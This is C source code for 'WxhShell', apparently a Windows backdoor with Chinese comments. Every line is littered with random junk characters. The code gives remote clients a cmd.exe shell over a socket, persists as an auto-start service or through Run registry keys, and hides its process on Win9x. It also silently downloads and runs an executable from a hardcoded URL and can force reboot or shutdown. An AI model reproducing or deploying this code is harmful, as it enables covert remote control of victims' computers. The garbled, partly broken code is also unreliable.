  case 'd': { 5MX7V4ist  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); x->H~/  
    if(Boot(SHUTDOWN)) $^K12Wcp-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lVptA3F  
    else { ;Q.'u  
    closesocket(wsh); Xtk3~@  
    ExitThread(0); h/s8".\  
    } zg}#X6\G<_  
    break; c3aBPig\D  
    } (C9{|T+h  
  // 获取shell DeK&_)g| Z  
  case 's': { qu`F,OG  
    CmdShell(wsh); mb GL)NI  
    closesocket(wsh); pr w% )#,  
    ExitThread(0); VX6M4<8  
    break; n_9Wrx328  
  } ZCAg)/  
  // 退出 &iTTal.6  
  case 'x': { U-.A+#<IT9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =WEWs4V5A  
    CloseIt(wsh); UA3!28Y&E3  
    break; |_\q5?S  
    } J;5G]$s  
  // 离开 o>^ @s4t  
  case 'q': { os[i  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Ha/Gn !l  
    closesocket(wsh); u OB`A-K  
    WSACleanup(); dF+R q|n{  
    exit(1); (.~,I+Cz'  
    break; k vF[d{l  
        } uB;PaZ G?{  
  } 3J}/<&wv  
  } 9jJ:T$}  
2#_ i_j  
  // 提示信息 \E8CC>Jd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); mQ=nU  
} |>v8yS5  
  } |bX{MF  
#@Rtb\9  
  return; GmdS~Fhp  
} 9RQw6rL  
!glGW[r/7  
// shell模块句柄 (i@B+c  
int CmdShell(SOCKET sock) '-[?iF@l  
{ ,3bAlc8D7  
STARTUPINFO si; v"V?  
ZeroMemory(&si,sizeof(si)); 4>Y\Y$3  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (;2]`D [x  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; +`+r\*C5  
PROCESS_INFORMATION ProcessInfo; 87OX:6  
char cmdline[]="cmd"; `y*o -St3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ZJ'FZ8Sx  
  return 0; _8s1Wh G  
} $@eFSA5k,7  
^2eH0O!  
// 自身启动模式 G0Wv=tX|  
int StartFromService(void) K&;;{~md.  
{ ]GmXZi  
typedef struct j9 O"!9$vQ  
{ e"]DIy4s  
  DWORD ExitStatus; x0ICpt{;  
  DWORD PebBaseAddress; Qg5-I$0  
  DWORD AffinityMask; ^T_2 s  
  DWORD BasePriority; ;oJCV"y6$  
  ULONG UniqueProcessId; ^ jT1q_0  
  ULONG InheritedFromUniqueProcessId; GU]_Z!3  
}   PROCESS_BASIC_INFORMATION; !A#(bC  
jB0ED0)wX  
PROCNTQSIP NtQueryInformationProcess; t4FaU7  
5tcJT z  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &)F# cVB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; .WpvDDUK3  
11BfJvs:  
  HANDLE             hProcess; o WcBQ|   
  PROCESS_BASIC_INFORMATION pbi; ;0Mg\~T~'  
> m##JzWLr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); NSDls@m  
  if(NULL == hInst ) return 0; l3;MjNB^V  
ky{-NrK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DtOL=m]s  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); w<G'gi]  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3vRBK?Q.y  
t'DYT"3  
  if (!NtQueryInformationProcess) return 0; rRd8W}B  
"Rq)%o$Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hG qZB  
  if(!hProcess) return 0; tN&_f==e  
&?#!%Ds  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; z|WDqB%/I  
Nh+ZSV4WJ:  
  CloseHandle(hProcess); .>+jtp}  
f}? q  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); A"no!AN  
if(hProcess==NULL) return 0; '`/w%OEVC5  
U Y')|2y 5  
HMODULE hMod; 6dQ]=];  
char procName[255]; Cl'3I%$8K  
unsigned long cbNeeded; cP &XkAQ  
.h@HAnmE  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ;&U! g&  
1`l10fqU  
  CloseHandle(hProcess); QP1 bm]QYA  
TI^M9;b  
if(strstr(procName,"services")) return 1; // 以服务启动 jjU("b=  
NiO|Aki{  
  return 0; // 注册表启动 )@\m0bnF  
} X0Z r?$q  
WJ m:?,  
// 主模块 OE_>Kw7q  
int StartWxhshell(LPSTR lpCmdLine) }q<%![%  
{ 0\Ga&Q0-(O  
  SOCKET wsl; E@D}Sqt  
BOOL val=TRUE; q3$;lLsb;j  
  int port=0; N[8y+2SZ  
  struct sockaddr_in door; H/BU2sa  
]Q*eCt;l"K  
  if(wscfg.ws_autoins) Install(); Sp^jC Xu  
iTg7@%  
port=atoi(lpCmdLine); ) \|Bghui  
u|uPvbM  
if(port<=0) port=wscfg.ws_port; (H-Y-Lk+  
\ws^L, h  
  WSADATA data; Gw0MDV&[  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; = *~Q5F  
IiRII)  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   {wyf>L0j  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8 !+eq5S3  
  door.sin_family = AF_INET; oCR-KR>{Q  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Sn ~|<Vf  
  door.sin_port = htons(port); !>gu#Q{\-  
{ 0 vHgi  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { _M9-n  
closesocket(wsl); M}*#{UV2  
return 1; &0QtHcXpR  
} [t}$W*hY  
M~#% [?iU  
  if(listen(wsl,2) == INVALID_SOCKET) { yHt `kb2  
closesocket(wsl); 3^J~ts{*  
return 1; a>/cVu'kz  
} K3($,aB}  
  Wxhshell(wsl);  LAfv1  
  WSACleanup(); cp\A xWtUZ  
*cnxp-)ub  
return 0; 0'O*Y ]h+  
sU }.2k  
} X`E3lgfqT  
.ECT  
// 以NT服务方式启动 ZQQ0}  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0nV|(M0lu?  
{ MEZc/Ru-[  
DWORD   status = 0; HLml:B[F(  
  DWORD   specificError = 0xfffffff; O.g!k"nas&  
uY'77,G_J  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l{b*YUsz>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ( @y te  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :Kt'Fm,s?  
  serviceStatus.dwWin32ExitCode     = 0; V=LJ_T"z0  
  serviceStatus.dwServiceSpecificExitCode = 0; $pO gFA1'  
  serviceStatus.dwCheckPoint       = 0; uh_ 2yw_  
  serviceStatus.dwWaitHint       = 0; fX[6  {  
\L@DDK|"`6  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @<W^/D1#L  
  if (hServiceStatusHandle==0) return; _RcFV  
s wIJmA  
status = GetLastError(); vQiKpO*  
  if (status!=NO_ERROR) $<N!2[I L  
{ 'eRJQ*0F  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 78[5@U  
    serviceStatus.dwCheckPoint       = 0; ao(lj  
    serviceStatus.dwWaitHint       = 0; &+Iv"9  
    serviceStatus.dwWin32ExitCode     = status; `43X? yQ  
    serviceStatus.dwServiceSpecificExitCode = specificError; Cm5:_K`;]  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z[{k-_HgAm  
    return; />,Tq!i\4}  
  } _,m|gr ,S  
UD@u hL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; wC~ra:/?:7  
  serviceStatus.dwCheckPoint       = 0; =oPc\VYW  
  serviceStatus.dwWaitHint       = 0; f;w7YO+$p9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); =/b WS,=  
} 7kZ-`V|\.  
Fu%%:3_  
// 处理NT服务事件,比如:启动、停止 RTgR>qI&)  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ]tzO)c)w;  
{ S|pMX87R  
switch(fdwControl) RrPo89o  
{ _FJ,, /~  
case SERVICE_CONTROL_STOP: @@O=a  
  serviceStatus.dwWin32ExitCode = 0; .1&~@e%=-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6_s_2cr  
  serviceStatus.dwCheckPoint   = 0; ~baVS-v  
  serviceStatus.dwWaitHint     = 0; y[W<vb+F  
  { l-Q.@hG  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); q*^F"D:?k  
  }  >Mzk;TM  
  return; G q" [5r"  
case SERVICE_CONTROL_PAUSE: Gw0_M&  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 6Wm`Vj(s  
  break; z`^DQ8+\j  
case SERVICE_CONTROL_CONTINUE: ZDI%?.U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =deqj^&@  
  break; *,UD&N_)*6  
case SERVICE_CONTROL_INTERROGATE: n8!qz:z/  
  break; ?ep'R&NV  
}; 0 tZ>yR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gg\805L@  
} /-.i=o]b  
JMUk=p<\  
// 标准应用程序主函数 /lC&'hT  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =` b/ip5  
{ eu]t.Co[X  
Q UQ"2oC  
// 获取操作系统版本 m5G9 B-\?  
OsIsNt=GetOsVer(); cPemrNxydN  
GetModuleFileName(NULL,ExeFile,MAX_PATH); <HLe,  
v[aFSXGj)  
  // 从命令行安装 Zewx*Y|  
  if(strpbrk(lpCmdLine,"iI")) Install(); wQ7G_kVp  
'%u7XuU-]  
  // 下载执行文件 vBM uVpzO  
if(wscfg.ws_downexe) { y}fF<qih'>  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) HywT  
  WinExec(wscfg.ws_filenam,SW_HIDE); = }&@XRLJ  
} :%!}%fkxH  
X_7cwPY  
if(!OsIsNt) { U%Kv}s/(F{  
// 如果时win9x,隐藏进程并且设置为注册表启动 _e ]jz2j  
HideProc(); N(%%bHi#V  
StartWxhshell(lpCmdLine); W-QBC- 3  
} t Z_ni}  
else hdw-gem{?  
  if(StartFromService()) d,Fj|}S  
  // 以服务方式启动 an4^(SY  
  StartServiceCtrlDispatcher(DispatchTable); JYY:~2  
else C+*qU  
  // 普通方式启动  t8 "*j t  
  StartWxhshell(lpCmdLine); GwOn&EpY!  
OX"^a$  
return 0; !n=?H1@  
} o]&w"3vOP0  
.`iG} j)\  
UBmD 3|Zo  
h6*&1r  
=========================================== 73-*| @6  
`5[$8;  
Kk}|[\fW  
*h<= (Y%   
~ wMdk9RQ  
qk;vn}auD]  
" Quc,,#u  
.4M8  
#include <stdio.h> c+6/@y  
#include <string.h> 5E~?hWAv  
#include <windows.h> tQSj[Yl  
#include <winsock2.h> SIJ:[=5!7  
#include <winsvc.h> dLtSa\2Hn  
#include <urlmon.h> ")/TbT Vu  
>&@hm4  
#pragma comment (lib, "Ws2_32.lib") ~?V+^<P  
#pragma comment (lib, "urlmon.lib") E8TJ*ZU  
[0_JS2KE  
#define MAX_USER   100 // 最大客户端连接数 O/X;(qYd  
#define BUF_SOCK   200 // sock buffer RL|13CG OP  
#define KEY_BUFF   255 // 输入 buffer ]L'FYOfrpx  
Cm~h\+"  
#define REBOOT     0   // 重启 D;f[7Cac  
#define SHUTDOWN   1   // 关机 63s<U/N  
5yvaY "B  
#define DEF_PORT   5000 // 监听端口 /jR]sC)xs  
@/S6P-4  
#define REG_LEN     16   // 注册表键长度 ?;{fqeJz  
#define SVC_LEN     80   // NT服务名长度 g$&uD  
s m42  
// 从dll定义API '~dE0ohWb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 64Ot`=A"  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Bg^k~NX%  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <OKzb3e  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); '64&'.{#>r  
4T*RJ3Fz!  
// wxhshell配置信息 NDG3mCl  
struct WSCFG { ?e? mg  
  int ws_port;         // 监听端口 .YvE  
  char ws_passstr[REG_LEN]; // 口令 }yCw|B|a  
  int ws_autoins;       // 安装标记, 1=yes 0=no Km~\^(a '  
  char ws_regname[REG_LEN]; // 注册表键名 ya81z4?  
  char ws_svcname[REG_LEN]; // 服务名 1B;-ea  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *. H1m{V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 xS~O Acxg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 O1/U3 /2/d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no bYr;~ ^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {x{/{{wzv  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ZE#f{qF(  
j@1rVOmK  
}; 9m2_zfO[ w  
yOn +Y  
// default Wxhshell configuration {HV$hU+_)Q  
struct WSCFG wscfg={DEF_PORT, 9/lCW  
    "xuhuanlingzhe", O[p;IG`  
    1, L  lP  
    "Wxhshell", 8:Yha4<Bv7  
    "Wxhshell", }*!7 Vrep  
            "WxhShell Service", ;4jRsirx9  
    "Wrsky Windows CmdShell Service", ?Rc+H;x=f  
    "Please Input Your Password: ", A>"v1Wk  
  1, 32_{nLV$[  
  "http://www.wrsky.com/wxhshell.exe",  } z4=3 '  
  "Wxhshell.exe" F+;{s(wx  
    }; #4(/#K 1j  
{~*aXu 3  
// 消息定义模块 Te%'9-jk  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 4\HB rd#P  
char *msg_ws_prompt="\n\r? for help\n\r#>"; h&7]Bp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [3a-1,  
char *msg_ws_ext="\n\rExit."; o0-7#2  
char *msg_ws_end="\n\rQuit."; AL.zF\?  
char *msg_ws_boot="\n\rReboot..."; /o =V (  
char *msg_ws_poff="\n\rShutdown..."; K\ww,S  
char *msg_ws_down="\n\rSave to "; 2Wlk]  
{~g(WxE  
char *msg_ws_err="\n\rErr!"; ^(ks^<}  
char *msg_ws_ok="\n\rOK!"; VjU;[  
=RR225  
char ExeFile[MAX_PATH]; @l9qH1  
int nUser = 0; 0NLoqq  
HANDLE handles[MAX_USER]; <BIj a  
int OsIsNt; Vp $]  
*|n::9  
SERVICE_STATUS       serviceStatus; { 7y.0_Y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _m!TUT8o  
|irqv< r  
// 函数声明 dw)SF,  
int Install(void); %?^T^P  
int Uninstall(void); $|v_ pjUu]  
int DownloadFile(char *sURL, SOCKET wsh); W4yNET%l,  
int Boot(int flag); |]a =He;  
void HideProc(void); @Taj++ua  
int GetOsVer(void); & z;;Bx0s  
int Wxhshell(SOCKET wsl); [@ ]f@Wd  
void TalkWithClient(void *cs); _A*5BAB:h(  
int CmdShell(SOCKET sock); jB]tq2i  
int StartFromService(void); :sRV]!Iw  
int StartWxhshell(LPSTR lpCmdLine); W1X\!Y  
G| pZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); JZp*"UzQr  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Hz$l)g}U  
bWv4'Y!p  
// 数据结构和表定义 I__|+%oC  
SERVICE_TABLE_ENTRY DispatchTable[] = U^4 /rbQ  
{ SCl$+9E  
{wscfg.ws_svcname, NTServiceMain}, qO=_i d  
{NULL, NULL} #n^P[Zw  
}; (: IUg   
>_QC_UX>4i  
// 自我安装 qu[ ~#  
int Install(void) Gx ?p,Fj  
{ eR r.j  
  char svExeFile[MAX_PATH]; ~ \tI9L?|A  
  HKEY key; &~P5 [[Q  
  strcpy(svExeFile,ExeFile); }LS:f,1oGp  
~YHy '.  
// 如果是win9x系统,修改注册表设为自启动 Evkb`dU3n  
if(!OsIsNt) { ^4^1)' %  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *>!O2c  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ._m+@Uy]H}  
  RegCloseKey(key); orn9;|8q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qG7^XO Ws-  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W)jO 4,eO  
  RegCloseKey(key); mH> oF|  
  return 0; #q1Qa_LXc  
    } v_f8zk  
  } H8~<;6W  
} ;cl\$TDL  
else { Z%~j)  
`_sc_Y|C!  
// 如果是NT以上系统,安装为系统服务 >*H>'O4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 2't<Hl1qN  
if (schSCManager!=0) cZKK\hf<  
{ !=@Lyt)_b  
  SC_HANDLE schService = CreateService W R@=[G#TJ  
  ( h5WS<P  
  schSCManager, Y - 6 ?x  
  wscfg.ws_svcname, e{8z1t20:  
  wscfg.ws_svcdisp, N+x0"~T}I  
  SERVICE_ALL_ACCESS, AOQimjW9a  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /W'GX n  
  SERVICE_AUTO_START, U'zW; Lt  
  SERVICE_ERROR_NORMAL, hK"hMyH^  
  svExeFile, Ei2Y)_   
  NULL, 78>)<$+d  
  NULL, v5l)T}Nb  
  NULL, ^'i(@{{o\  
  NULL, `;b@a<Wl  
  NULL {4Y@ DQ-  
  ); `O(ec  
  if (schService!=0) :G9+-z{Y&  
  { 2#l<L>#  
  CloseServiceHandle(schService); ep .AW'+  
  CloseServiceHandle(schSCManager); <b>@'\w9  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); f>ohu^bd  
  strcat(svExeFile,wscfg.ws_svcname); Zws[}G"7h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Z`nHpmNM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5R}Qp<D[^  
  RegCloseKey(key); -4`Wkkhu  
  return 0; LY2oBX@fC  
    } |;_NCy8i3X  
  } %se4aeOrX  
  CloseServiceHandle(schSCManager); B7(~m8:eH7  
} :#58m0YLA:  
} )ALPMmlRs  
zu'Uau  
return 1; aYr?J Ol  
} | 2BIAm]  
q%TWtQS  
// 自我卸载 &Yi)|TU3'R  
int Uninstall(void) qLBXyQ;U  
{ "l!WO`.zp=  
  HKEY key; #pP4\n-~hU  
F<q'ivj:w  
if(!OsIsNt) { m\`dLrPX4j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { zF6 R\w  
  RegDeleteValue(key,wscfg.ws_regname); R/r)l<X@  
  RegCloseKey(key); 5=tvB,Ux4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3TqC.S5+  
  RegDeleteValue(key,wscfg.ws_regname); F,Q\_H##x4  
  RegCloseKey(key); Vrn. #d  
  return 0; qPZ'n=+  
  } W)3?T& `  
} [2#5;')  
} )z-)S  
else { D-e0q)RSU  
G%w.Z< qy  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); )orVI5ti  
if (schSCManager!=0) J#vIz  Q  
{ Vy0s%k  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); R06L4,/b  
  if (schService!=0) }S51yDVG_  
  { '^ bB+  
  if(DeleteService(schService)!=0) { zY~  
  CloseServiceHandle(schService); @5N^^B  
  CloseServiceHandle(schSCManager); [2?|BUtD[  
  return 0; XlUM~(7+v  
  } [ qt hn[3  
  CloseServiceHandle(schService); _#@n^c  
  } ehk5U,d  
  CloseServiceHandle(schSCManager); &v|Uy}h&%1  
} "*W:  
} 0"7%*n."2  
I Y%M5(&Q  
return 1; P' .MwS  
} &5puGnTZ  
eqbQ,, &  
// 从指定url下载文件 |N_tVE  
int DownloadFile(char *sURL, SOCKET wsh) bA}9He1  
{ Jb~$Vrdy  
  HRESULT hr; FY_.Vp  
char seps[]= "/"; c} )U:?6  
char *token; ir/m. ~?  
char *file; _R&mN\ey5  
char myURL[MAX_PATH]; aX`"V/  
char myFILE[MAX_PATH]; }5c%v1  
"%fh`4y3\  
strcpy(myURL,sURL); r09gB#K4  
  token=strtok(myURL,seps); 873$EiyXR  
  while(token!=NULL) ]j> W9n?  
  { hkV;(Fr&z  
    file=token; 0WT]fY?IS  
  token=strtok(NULL,seps); a(AKVk\  
  } ,Y *unk<S  
ta"uxL\gge  
GetCurrentDirectory(MAX_PATH,myFILE); G165grGFd  
strcat(myFILE, "\\"); ~hK7(K  
strcat(myFILE, file); F. 5'5%  
  send(wsh,myFILE,strlen(myFILE),0); zh`!x{Z?^  
send(wsh,"...",3,0);  8:=&=9%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pF kA,  
  if(hr==S_OK) +UbSqp1BS  
return 0; )_bc:6Q  
else Zjis0a]v~k  
return 1; fkf69,+"]  
n@5Sp2p  
} <vMna< /d  
\kSoDY`l&  
// 系统电源模块 3ARvSz@5  
int Boot(int flag) H$'|hUwds%  
{ ;fomc<  
  HANDLE hToken; +B(x:hzY9  
  TOKEN_PRIVILEGES tkp; {UqSq  
wM.z/r\p  
  if(OsIsNt) { g4b-~1[S  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ?LJ$:u  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); fP3e{dVf  
    tkp.PrivilegeCount = 1; cs[_TJo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 1ocd$)B|}  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); TdGda'C  
if(flag==REBOOT) { >tF3|:\  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'Cv,:Q  
  return 0; ZEY="pf  
} }/tT=G]91  
else { o95)-Wb  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) d4ANh+}X"_  
  return 0; ,TeJx+z^  
} )Ve-)rZ  
  } #,dNhUV#  
  else { =$bJ`GpJ  
if(flag==REBOOT) { Zop3[-  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ]vj.s/F~  
  return 0; 6P,vGmR  
} 'Br:f_}  
else { V|6PKED  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) BR&T,x/d  
  return 0; 0|6]ps4Z7  
} TUE*mDRmP  
} Skb,cKU  
/#mq*kNIM6  
return 1; HCBZ*Z-  
} H~Z$pk%  
/zt9;^e  
// win9x进程隐藏模块 Yz<,`w5/6~  
void HideProc(void) V+\L@mz;  
{ nP]tc  
Q?"o.T';  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); IZ){xI  
  if ( hKernel != NULL ) 99QMMup  
  { !LGnh  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #+VH]7]  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yf|,/{S  
    FreeLibrary(hKernel); !Cqm=q{K  
  } Wp2W:JX:  
\.0cA4)[$  
return; m/{HZKh  
} K6uZ4 m;  
0[A4k:  
// 获取操作系统版本 Ufx^@%v  
int GetOsVer(void) 2T3TD%  
{ C%c}lv8;^  
  OSVERSIONINFO winfo; P:~X az\F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); MHF31/g\  
  GetVersionEx(&winfo); Z|78>0SAt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) M.DU^-7  
  return 1; J#k3iE}  
  else c L+-- $L  
  return 0; Mn)>G36(  
} Oup5LH!sW  
p#14  
// 客户端句柄模块 bxxazsj^  
int Wxhshell(SOCKET wsl) ';H"Ye:D=7  
{ "zN2+X"&  
  SOCKET wsh; :ik$@5wp  
  struct sockaddr_in client; 3HtLD5%Q  
  DWORD myID; l ~bjNhk  
S7|6dwQ&  
  while(nUser<MAX_USER) i|`b2msvd  
{ Cx N]fo  
  int nSize=sizeof(client); f+ }Rj0A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,s=jtK  
  if(wsh==INVALID_SOCKET) return 1; v~l_6V}  
rwZI;t$hf  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B/:+(|  
if(handles[nUser]==0) os :/-A_m  
  closesocket(wsh); ]1 V,_^D  
else ">{Ruv}$  
  nUser++; 4jWzYuI&J  
  } WO}l&Q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); {|R@\G.1(  
Sio> QL Y  
  return 0; t^8 ii  
} Nu/D$m'PY  
o+NPe36  
// 关闭 socket 73n|G/9n[  
void CloseIt(SOCKET wsh) z XI [f  
{ >"OwdAvX  
closesocket(wsh); 1q?b?.  
nUser--; PpxLMe]  
ExitThread(0);  9S<87sO  
} FJ/>=2^B  
Z$UPLg3=;_  
// 客户端请求句柄 bCV3h3<  
void TalkWithClient(void *cs) ]q,5'[=~4h  
{ 4t C-msTf  
t:NYsL  
  SOCKET wsh=(SOCKET)cs; kiah,7V/  
  char pwd[SVC_LEN]; z;c~(o@4  
  char cmd[KEY_BUFF]; 7o+JQ&fF;  
char chr[1]; gY\g+df-  
int i,j; .Mn_T*F  
uG5RE  
  while (nUser < MAX_USER) {  |UudP?E  
"7> o"FQ  
if(wscfg.ws_passstr) { .5S< G)Ja  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); rE&` G[(b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); T<jo@z1UL  
  //ZeroMemory(pwd,KEY_BUFF); P#0U[`ltK  
      i=0; Moldv x=M  
  while(i<SVC_LEN) { P!6 v0ezN  
 (0wQ [(  
  // 设置超时 "e3T;M+  
  fd_set FdRead; i 4}4U  
  struct timeval TimeOut; 31y>/*}  
  FD_ZERO(&FdRead); vb&1 S  
  FD_SET(wsh,&FdRead); =XRTeIZ  
  TimeOut.tv_sec=8; &Zzd6[G+  
  TimeOut.tv_usec=0; (Xak;Xum1  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Mk3~%`  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); `Kt]i5[ "  
T>~D(4r|pS  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |9fvj6?Y  
  pwd=chr[0]; fGwRv% $^  
  if(chr[0]==0xd || chr[0]==0xa) { ~BUzyc%  
  pwd=0; 6~oo.6bA  
  break; W[$GB_A)  
  } 6\+ ZTw  
  i++; ! R b  
    } ;Dw6pmZ  
%',bCd{QW  
  // 如果是非法用户,关闭 socket /'[m6zm]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `wMHjcUP  
} Gz_[|,i  
A^%li^qz  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); KTmduf7DL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #NvL@bH  
V[Z^Z  
while(1) { wU"0@^k]<  
'j#J1 xwJ  
  ZeroMemory(cmd,KEY_BUFF); oP"X-I  
UI?AM 34  
      // 自动支持客户端 telnet标准   @) \{u$  
  j=0; zXEu3h  
  while(j<KEY_BUFF) { MF41q%9p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z#j)uD  
  cmd[j]=chr[0]; K3;lst>4  
  if(chr[0]==0xa || chr[0]==0xd) { rUz-\H(-  
  cmd[j]=0; AZHZUd4  
  break; ,A{'lu  
  } *GGiSt  
  j++; I,nW~;OV0  
    } ?*nFz0cs^  
2 1LJ3rW_  
  // 下载文件 cn3F3@_"\  
  if(strstr(cmd,"http://")) { =*[98%b   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &|'t>-de,  
